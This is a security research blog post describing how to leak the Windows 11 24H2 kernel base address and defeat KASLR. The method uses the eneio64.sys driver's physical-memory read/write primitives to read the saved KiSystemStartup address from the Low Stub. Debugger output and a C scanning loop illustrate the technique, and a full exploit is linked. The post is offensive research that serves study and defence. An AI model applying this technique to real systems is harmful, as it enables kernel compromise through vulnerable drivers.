Circumventing Leak Restrictions and Breaking KASLR on Windows 11 24H2 using an HVCI-compatible Driver with Physical Memory Access

Silly method to obtain the NTOS base address by leveraging the eneio64.sys driver, which provides read/write primitives on the system’s physical memory.

Posted by Yazid on June 9, 2025


Well think of this post as a continuation of my previous blog post on exploiting the HVCI-compatible eneio64.sys kernel driver, which I achieved by simulating the translation of physical addresses into virtual addresses using paging structures. The truth is, I hesitated for a long time about doing this blog post, telling myself that It was too trivial and I'm probably missing something, but I'm doing it anyway, we never know. The aim of this very short blog post is to propose an alternative way of leaking the NTOS address on Windows 11 24H2 when exploiting a driver with R/W primitives on physical memory.

In the previous post, I leveraged the Low Stub, which is always present at the beginning of the physical memory layout of HVCI-enabled systems, to retrieve the value of CR3 in order to initiate the process of translating leaked virtual addresses into physical addresses, since I'm exploiting a driver that only provides access on physical memory, so as to make any exploitation technique possible on this driver as on a driver exposing R/W primitives on virtual memory. Since Windows 11 24H2, it is no longer possible to rely on EnumDeviceDrivers or NtQuerySystemInformation to leak, among other things, kernel module addresses from a medium integrity process, and SeDebugPrivilege is now required for this. This blog post by Yarden Shafir details these changes at the kernel level. There are tools like prefetch-tool, which which uses TLB vs no-TLB timing on modern CPUs for guessing the NTOS address, this one worked on my host machine but for an unknown reason, not on my Windows 11 24H2 VM with which I'm working on this blog post.

The Low Stub is always located in the first megabyte of the physical address space. It resides somewhere between physical addresses 0x0 and 0x100000. The ReactOS source code provides a clear example of how the Low Stub is allocated within this area, with 0x100000 set as the upper limit for the physical address:

/* Do we have a low stub address yet? */
if (!HalpLowStubPhysicalAddress.QuadPart)
{
    /* Allocate it */
    HalpLowStubPhysicalAddress.QuadPart = HalpAllocPhysicalMemory(LoaderBlock,
                                                                0x100000,
                                                                1,
                                                                FALSE);
    if (HalpLowStubPhysicalAddress.QuadPart)
    {
        /* Map it */
        HalpLowStub = HalpMapPhysicalMemory64(HalpLowStubPhysicalAddress, 1);
    }
}

Here, the Low Stub is located at physical address 0x11000:

0: kd> ? poi(HalpLowStub)
Evaluate expression: -8970039152640 = fffff7d7`8000b000

0: kd> !vtop 7d5000 fffff7d78000b000
Amd64VtoP: Virt fffff7d78000b000, pagedir 00000000007d5000
Amd64VtoP: PML4E 00000000007d5f78
Amd64VtoP: PDPE 00000000f7f02af0
Amd64VtoP: PDE 00000000f7f05000
Amd64VtoP: PTE 00000000f7f06058
Amd64VtoP: Mapped phys 0000000000011000
Virtual address fffff7d78000b000 translates to physical address 11000.

0: kd> ? poi(HalpLowStubPhysicalAddress)
Evaluate expression: 69632 = 00000000`00011000

At offset +0x90 of the Low Stub, there is a structure of type KPROCESSOR_STATE:

0: kd> dt /p _KPROCESSOR_STATE 0x11000+0x90
nt!_KPROCESSOR_STATE
   +0x000 SpecialRegisters : _KSPECIAL_REGISTERS
   +0x0f0 ContextFrame     : _CONTEXT

The SpecialRegisters member contains, among other things, the values of the control registers, including CR3, which provides the base address of the PML4:

0: kd> dt /p _KPROCESSOR_STATE 0x11000+0x90 SpecialRegisters.Cr3
nt!_KPROCESSOR_STATE
   +0x000 SpecialRegisters     : 
      +0x010 Cr3                  : 0x7d5000

0: kd> dt /p _KPROCESSOR_STATE 0x11000+0x90 SpecialRegisters.Cr4
nt!_KPROCESSOR_STATE
   +0x000 SpecialRegisters     : 
      +0x018 Cr4                  : 0x350ef8

ContextFrame, of type CONTEXT, contains processor-specific register data. This context appears to be related to the system startup, with RIP holding a particularly significant value:

0: kd> dt /p _KPROCESSOR_STATE 0x11090 ContextFrame.Rip
nt!_KPROCESSOR_STATE
   +0x0f0 ContextFrame     : 
      +0x0f8 Rip              : 0xfffff805`5d487010

5: kd> u 0xfffff805`5d487010 L1
nt!KiSystemStartup:
fffff805`5d487010 4883ec38        sub     rsp,38h

RIP holds the address of KiSystemStartup, which is no more than the entry point to the kernel, whose RVA can easily be retrieved by parsing the PE image of ntoskrnl.exe:

0: kd> lmmnt
Browse full module list
start             end                 module name
fffff805`5ca00000 fffff805`5da47000   nt         (pdb symbols)  

0: kd> dx ((nt!_IMAGE_NT_HEADERS64*)(0xfffff805`5ca00000+0n280))->OptionalHeader.AddressOfEntryPoint
[...] : 0xa87010 [Type: unsigned long]

The Windows kernel aligns to 2MB boundaries since it leverages large-page memory mappings. Note that the kernel is only large-page aligned when the amount of RAM exceeds 2 GB (however, since Windows 11 requires 4 GB at minimum, this should not be an issue):

0: kd> !pte fffff805`5ca00000
                                           VA fffff8055ca00000
PXE at FFFFFDFEFF7FBF80    PPE at FFFFFDFEFF7F00A8    PDE at FFFFFDFEFE015728    PTE at FFFFFDFC02AE5000
contains 000000001000B063  contains 000000001000C063  contains 8A000001004001A1  contains 0000000000000000
pfn 1000b     ---DA--KWEV  pfn 1000c     ---DA--KWEV  pfn 100400    -GL-A--KR-V  LARGE PAGE pfn 100400      0    

0: kd> ? fffff805`5ca00000 % 200000
Evaluate expression: 0 = 00000000`00000000

Thus, we can scan the first megabyte of the physical memory layout, looking for an address suffixed with the last 3 bytes of the entry point's RVA. If we find this address, we simply subtract the value of the entry point's RVA, which gives us the kernel's address :)

for (physical_offset = 0x0; physical_offset < 0x100000; physical_offset += sizeof(UINT64)) {

        UINT64 qword_value = ReadMemoryU64(memory_data, physical_offset);

        if ((qword_value & 0xFFFFF) == (ntosEntryPoint & 0xFFFFF)) {
            
            printf("[*] Found KiSystemStartup -> %p\n", qword_value);

            UINT64 supposedNtosBase = (qword_value - ntosEntryPoint);

            printf("[*] In a silly way, we can assume NTOS base address is %p\n", supposedNtosBase);

        }    
}

The full "exploit" is available here. Below is the result on Windows 11 24H2 (build 10.0.26100.3194):


You now have an idea of the alternative you can use if you need to exploit a kernel driver offering R/W primitives on physical memory (as here with eneio64.sys) on Windows 11 24H2, we now have the kernel address which can allow us to keep using the technique illustrated in the previous post, albeit with a few changes as we have to start from NTOS address to retrieve the various kernel objects addresses that are used, but it's still feasible. Let me know if you have any constructive commments! (Discord: yazidou). Thanks to winterknife and sixtyvividtails for providing additional insights that helped improve this article.

Will life get easier with vulnerable drivers that operate on physical memory? Only time will tell. :p

References